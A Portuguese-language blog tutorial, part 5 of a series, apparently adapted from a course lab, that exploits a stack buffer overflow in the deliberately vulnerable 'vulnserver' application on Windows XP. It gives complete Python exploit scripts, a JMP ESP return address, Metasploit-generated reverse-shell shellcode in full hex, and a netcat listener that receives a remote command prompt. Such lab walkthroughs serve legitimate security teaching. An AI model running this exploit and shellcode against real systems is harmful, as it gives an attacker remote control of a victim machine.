quinta-feira, 22 de janeiro de 2015

Buffer Overflow | Devenlop Exploit Parte 5

Instalando MONA
eushuehsuehsuehs a palavra mona aqui na minha cidade é coisa de viadagem. euhsuehsuehsushue

deixando de conversa fiada: MONA é um módulo python que dá ao Immunity a capacidade de listar os módulos e assim procurar por eles. Ver mais sobre o mona aqui, Download Aqui
Baixe e estraia para onde quizer, e esse onde quizer copie o arquivo mona.py para: C:\Program Files (x86)\Immunity Inc\Immunity Debugger\PyCommands

Agora na máquina windows, como vc ja reiciou antes o servidor e o ja execultou. Vamos listar

Listando os Módulos com Mona
No Immunity, na parte inferior, há uma barra branca. Clique nesse barra e digite este comando, seguido da tecla Enter: !mona modules

Para muda o tamanho da fonte para melhor leitura kica ai em qualquer lugar com o botão direito do mouse em Appearance, Font, "OEM Fixed Font, como mostrado abaixo.


Atente-se no gráfico na parte inferior, como mostrado abaixo.


Este gráfico mostra todos os módulos carregados como parte do servidor vulnerável, e várias propriedades importantes para cada um.
A propriedade de maior importância para nós agora é ASLR, que faz com que o endereço do módulo variar  para cada vez que ele é reiniciado.
Outra propriedade que pode causar problemas é "Rebase", que se muda um módulo se outro módulo já está carregado na memória em sua localização preferencial.
Para explorar o de manira mais confiável , queremos usar um módulo sem ASLR ou Rebase.
Existem dois módulos com "False" em ambas as colunas REBASE e ASLR: e essfunc.dll do vulnserver.exe.
No entanto, observe os valores do endereço à esquerda do gráfico - vulnserver.exe é muito carregado no endereço de valores baixos, começando com 0x00, portanto, qualquer referência a endereços dentro vulnserver.exe exigirá um byte nulo, e que não vai funcionar porque '\ x00' é um mau caráter. Assim, o único módulo utilizável é essfunc.dll.

Encontrar códigos hexadecimais para instrução Útil
Agora olhando para a máquina Kali Linux
O kali contém um utilitário prático para a conversão de linguagem assembly para códigos hexadecimais.
No terminal, digite  o comando: locate nasm_shell
O utilitário está localizado em um diretório do Metasploit, como mostrado abaixo.

root@kali:~# locate nasm_shell
/usr/share/metasploit-framework/tools/nasm_shell.rb
root@kali:~#

Copie e cole o caminho completo do utilitário para executá-lo. "Aqui no meu pc demora uns 10s para iniciar o nasm"
Uma vez iniciado o nasm, digite o tipo JMP ESP e pressione Enter para convertê-lo em código hexadecimal, como mostrado abaixo.

Em seguida, digite POP ESP e pressione Enter.
Em seguida, digite RET e pressione Enter.
Em seguida, digite exit e pressione Enter

root@kali:~# /usr/share/metasploit-framework/tools/nasm_shell.rb
nasm > JMP ESP
00000000  FFE4              jmp esp
nasm > POP ESP
00000000  5C                pop esp
nasm > RET
00000000  C3                ret
nasm > EXIT
root@kali:~#

O código hexadecimal para a instrução "JMP ESP" é FFE4.
O código hexadecimal para a sequência das duas instrução "POP ESP; RET" é 5CC3.
Se agente encontrar qualquer uma dessas seqüências de bytes em essfunc.dll, podemos usá-los para executar o nosso exploite reverso.

Encontrar JMP ESP com MONA

Olhando lá na máquina ruiwndows, no immunity, lá em baixo na barra branca digite esse cumando: !mona find -s "\xff\xe4" -m essfunc.dll

siliga bixo doido \xff\xe4 é = FFE4 do JMP ESP q nois localizamo lá em riba ou aqui  isso é matutez

Estamos procura o módulo de essfunc.dll para os bytes FFE4.
9 locais foram encontrados com esses conteúdos, como mostrado abaixo.

E vamos usar o primeiro da fila:
0x625011af = 625011af

Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


Execução do código e Testando
Agora vamos enviar um ataque que coloca o endereço JMP ESP (625011af) na EIP.
Isso vai iniciar a execução do código no local apontado do ESP .
Só para testá-lo, vamos colocar algumas instruções lá no NOP  ('\ x90' = Sem Operação - eles não fazem nada) seguido de um '\ xCC'  na instrução INT 3 , que irá interromper o processamento.
O NOP pode parecer sem importância, mas ela é necessário para dar espaço para descompactar o código dp Matasploit e agente vai fazer isso mais tarde. Se isso funcionar, o programa irá parar na instrução de '\ xCC'.

Agora na máquina kali linux, no terminal digite o comando: nano eip-exploit-3

root@kali:~# nano eip-exploit-3

Na tela do nano digite ou cole o codigo: nao esqueça de colocar seu ip do seu window

GNU nano 2.2.6                                              File: eip-exploit-3                                                              Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
brk = '\xcc'
padding = 'F' * (3000 - 2006 - 4 - 16 - 1)
attack = prefix + eip + nopsled + brk + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, tamanho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

agora vc execultar o srcipt, comando, python eip-exploit-3

root@kali:~# python eip-exploit-3
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

Agora olhando na maquinda do windows, no canto inferior esquerdo da janela do Immunity agora diz "comandoINT 3", como mostrado abaixo.


Agora indo no painel Registers do Immunity, clique com o botão esquerdo no valor à direita do ESP, por isso é destacado em azul, como mostrado abaixo.
Em seguida, clique com o valor realçado e clique em "Follow in Dump"



Olhando no painel inferior esquerdo mostra o NOP como uma série de 90 bytes, seguido por um byte de CC.
Isso está funcionando! Agora nos somos capazes de injetar um código e executá-lo.

Reiciando o servidor  no Immunity
No menu do Immunity Debugger, no canto superior, clique no botão Debug, no menu contexto vá até restart, e em seguida na janela que aparecerá clique em sim. Isso reiciará o servidor vulnerável dentro do depurador, para que possamos atacar novamente.
E depois rode o servidor clicando em RUN


Preparando o exploit no paython  para o nosso ataque

Agora olhando para a máquina Kali Linu, no terminal vc digita o comando: nano shell-exploit

root@kali:~# nano shell-exploit

Na tela do nano digite ou cole o codigo:


 GNU nano 2.2.6                                            File: shell-exploit                                                              Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = (

)
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Enviando o ataque para TRUN, tamanho de: ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ...
 Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER.

Este script estabelece o nosso exploit, mas no momento o código do exploit está faltando. Mas vamos faz isso agora no msfconsole ;)

No teu cali linux, abre ai o terminal e digita ifconfig, pra tu ver qual é o ip da tua maquina kali, ai agora tu digita:

msfpayload windows/shell_reverse_tcp LHOST="192.168.1.160" LPORT=443 EXITFUNC=thread R | msfencode -b '\x00'
"
Só uma dica ai minha, coisa pessoal mesmo, se teu kali linux tever atualizado, pelo meno aki no meu é tá claro, eu atualizo ele toda semana, o codigo do exploit nao funciona, agora pq eu nao sei, nao quero sabe e tenho raia de quem sabe entao eu tenho um dvd gravado com o kali em versão 32bit, eu nao sei bem se é por causa do upadate, eu nao sei mesmo mais ai vc tenta, vou deixar uns descrições referente ao OS
 ";
A máquina que execultei o comando:
root@kali:~# uname -a
Linux kali 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
root@kali:~#

Então o shell code funcionou nela;

E na minha maquina minha;

root@kali:~# uname -a
Linux kali 3.14-kali1-amd64 #1 SMP Debian 3.14.5-1kali1 (2014-06-07) x86_64 GNU/Linux
root@kali:~# Não funciona a shell code, blz voltando aqui pro assunto de gerar a shell code;

Na sua maquina kali linux vc vai execultar o comando, nao esqueça de trocar o ip pelo o ip do seu kali; comando


root@kali:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.160 LPORT=4444 EXITFUNC=thread R | msfencode -b '\x00'


Esse comando faz o nosso exploit da conexão reversa com a maquina de destino, no caso o Windows e vai volta para o Kali Linux na porta 4444 e assim iremos obter o console do servido windows em um novo terminal no kali, ja falo nele. A magica é codificado para evitar bytes nulos. porque '\ x00' é um caráter ruim.

Esse é o resultado obtido:


root@kali:~# uname -a
Linux kali 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux
root@kali:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.160 LPORT=4444 EXITFUNC=thread R | msfencode -b '\x00'
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

buf =
"\xba\x6c\x55\x8c\xa0\xdb\xd3\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8e\xa0\x70" +
"\x48\xc7\x4b\x89\x89\xb7\xc2\x6c\xb8\xe5\xb1\xe5\xe9\x39" +
"\xb1\xa8\x01\xb2\x97\x58\x91\xb6\x3f\x6e\x12\x7c\x66\x41" +
"\xa3\xb1\xa6\x0d\x67\xd0\x5a\x4c\xb4\x32\x62\x9f\xc9\x33" +
"\xa3\xc2\x22\x61\x7c\x88\x91\x95\x09\xcc\x29\x94\xdd\x5a" +
"\x11\xee\x58\x9c\xe6\x44\x62\xcd\x57\xd3\x2c\xf5\xdc\xbb" +
"\x8c\x04\x30\xd8\xf1\x4f\x3d\x2a\x81\x51\x97\x63\x6a\x60" +
"\xd7\x2f\x55\x4c\xda\x2e\x91\x6b\x05\x45\xe9\x8f\xb8\x5d" +
"\x2a\xed\x66\xe8\xaf\x55\xec\x4a\x14\x67\x21\x0c\xdf\x6b" +
"\x8e\x5b\x87\x6f\x11\x88\xb3\x94\x9a\x2f\x14\x1d\xd8\x0b" +
"\xb0\x45\xba\x32\xe1\x23\x6d\x4b\xf1\x8c\xd2\xe9\x79\x3e" +
"\x06\x8b\x23\x57\xeb\xa1\xdb\xa7\x63\xb2\xa8\x95\x2c\x68" +
"\x27\x96\xa5\xb6\xb0\xd9\x9f\x0e\x2e\x24\x20\x6e\x66\xe3" +
"\x74\x3e\x10\xc2\xf4\xd5\xe0\xeb\x20\x79\xb1\x43\x9b\x39" +
"\x61\x24\x4b\xd1\x6b\xab\xb4\xc1\x93\x61\xc3\xc6\x04\x4a" +
"\x7c\xc9\x74\x22\x7f\xc9\x65\xef\xf6\x2f\xef\x1f\x5f\xf8" +
"\x98\x86\xfa\x72\x38\x46\xd1\x12\xd9\xd5\xbe\xe2\x94\xc5" +
"\x68\xb5\xf1\x38\x61\x53\xec\x63\xdb\x41\xed\xf2\x24\xc1" +
"\x2a\xc7\xab\xc8\xbf\x73\x88\xda\x79\x7b\x94\x8e\xd5\x2a" +
"\x42\x78\x90\x84\x24\xd2\x4a\x7a\xef\xb2\x0b\xb0\x30\xc4" +
"\x13\x9d\xc6\x28\xa5\x48\x9f\x57\x0a\x1d\x17\x20\x76\xbd" +
"\xd8\xfb\x32\xdd\x3a\x29\x4f\x76\xe3\xb8\xf2\x1b\x14\x17" +
"\x30\x22\x97\x9d\xc9\xd1\x87\xd4\xcc\x9e\x0f\x05\xbd\x8f" +
"\xe5\x29\x12\xaf\x2f"

root@kali:~#

Eu deixei ai bem destacado o código do exploit para vc copiar ai o seu, dai vc copia o q foi destagado, claro nao é pra copiar o meu aki desse tuti, vc sabe do q tou falndo.

Bom copiado o código, vc agora vai abrir aquele script q fiemos antes o shell-exploit e entre os parenteses ( ) vc cola o código do nosso explorador ficando assim:


  GNU nano 2.2.6                                            File: shell-exploit                                                            Modified  
#!/usr/bin/python
import socket
server = '192.168.1.162'
sport = 9999

prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = (
"\xba\x6c\x55\x8c\xa0\xdb\xd3\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8e\xa0\x70" +
"\x48\xc7\x4b\x89\x89\xb7\xc2\x6c\xb8\xe5\xb1\xe5\xe9\x39" +
"\xb1\xa8\x01\xb2\x97\x58\x91\xb6\x3f\x6e\x12\x7c\x66\x41" +
"\xa3\xb1\xa6\x0d\x67\xd0\x5a\x4c\xb4\x32\x62\x9f\xc9\x33" +
"\xa3\xc2\x22\x61\x7c\x88\x91\x95\x09\xcc\x29\x94\xdd\x5a" +
"\x11\xee\x58\x9c\xe6\x44\x62\xcd\x57\xd3\x2c\xf5\xdc\xbb" +
"\x8c\x04\x30\xd8\xf1\x4f\x3d\x2a\x81\x51\x97\x63\x6a\x60" +
"\xd7\x2f\x55\x4c\xda\x2e\x91\x6b\x05\x45\xe9\x8f\xb8\x5d" +
"\x2a\xed\x66\xe8\xaf\x55\xec\x4a\x14\x67\x21\x0c\xdf\x6b" +
"\x8e\x5b\x87\x6f\x11\x88\xb3\x94\x9a\x2f\x14\x1d\xd8\x0b" +
"\xb0\x45\xba\x32\xe1\x23\x6d\x4b\xf1\x8c\xd2\xe9\x79\x3e" +
"\x06\x8b\x23\x57\xeb\xa1\xdb\xa7\x63\xb2\xa8\x95\x2c\x68" +
"\x27\x96\xa5\xb6\xb0\xd9\x9f\x0e\x2e\x24\x20\x6e\x66\xe3" +
"\x74\x3e\x10\xc2\xf4\xd5\xe0\xeb\x20\x79\xb1\x43\x9b\x39" +
"\x61\x24\x4b\xd1\x6b\xab\xb4\xc1\x93\x61\xc3\xc6\x04\x4a" +
"\x7c\xc9\x74\x22\x7f\xc9\x65\xef\xf6\x2f\xef\x1f\x5f\xf8" +
"\x98\x86\xfa\x72\x38\x46\xd1\x12\xd9\xd5\xbe\xe2\x94\xc5" +
"\x68\xb5\xf1\x38\x61\x53\xec\x63\xdb\x41\xed\xf2\x24\xc1" +
"\x2a\xc7\xab\xc8\xbf\x73\x88\xda\x79\x7b\x94\x8e\xd5\x2a" +
"\x42\x78\x90\x84\x24\xd2\x4a\x7a\xef\xb2\x0b\xb0\x30\xc4" +
"\x13\x9d\xc6\x28\xa5\x48\x9f\x57\x0a\x1d\x17\x20\x76\xbd" +
"\xd8\xfb\x32\xdd\x3a\x29\x4f\x76\xe3\xb8\xf2\x1b\x14\x17" +
"\x30\x22\x97\x9d\xc9\xd1\x87\xd4\xcc\x9e\x0f\x05\xbd\x8f" +
"\xe5\x29\x12\xaf\x2f"
)
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
^G Get Help            ^O WriteOut               ^R Read File                 ^Y Prev Page                         ^K Cut Text ........
^X Exit                    ^J   Justify                      ^W Where Is                ^V Next Page                       ^U Uncut Text ... 
Para salva o código digite: Ctrl + X, em seguida digite Y, e aperte ENTER

Agora com o srcipt completado com o código do nosso explorador q vai nos da acerro remoto, dai no seu kali vc abre um outro terminal e execulte o comando: nc -lvp 4444 isso vai deixar seu kali no modo de exculta na porta 4444, e na outra tela vc execulta o shell-exploit, lembrando nao vai esquecer o servidor lá no windows deligado, claro obvio q ele tem q ta rodando.

agora vc execultou os comando, vc vera algo mais ou menos assim:

Terminal 1 Rodando o NC:


root@kali:~# nc -lvp 4444
listening on [any] 4444 ...

Terminal 2 Execultando o Script

root@kali:~# python shell-exploit
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000

TUDO AGORA

Terminal 1 NC  --- Conexão bem estabelicida
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.1.162: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.1.160] from (UNKNOWN) [192.168.1.162] 1058
Microsoft Windows XP [vers�o 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\servidor>

Terminal 2 Script
 Eu apertei o Ctrl + C pra finaliza mais la no NC eu continuo com o acesso remoto, onde eu vou me divertir um pouco,
root@kali:~# python shell-exploit
Welcome to Vulnerable Server! Enter HELP for help.

Sending attack to TRUN . with length  3000
^CTraceback (most recent call last):
  File "shell-exploit", line 44, in <module>
    print s.recv(1024)
KeyboardInterrupt
root@kali:~# 

Você olhando la no windows no Immunity na parte do Registers, mirando bem no ESP q vais esta destado em azul, vc clicando com o botão direito no numero e follow dump, dai vc olha pro ANCII vc pode ver algumas coisas da shell code;




Video Aqui


FONTE ORIGINAL: https://samsclass.info/127/proj/vuln-server.htm

0 comentários:

Postar um comentário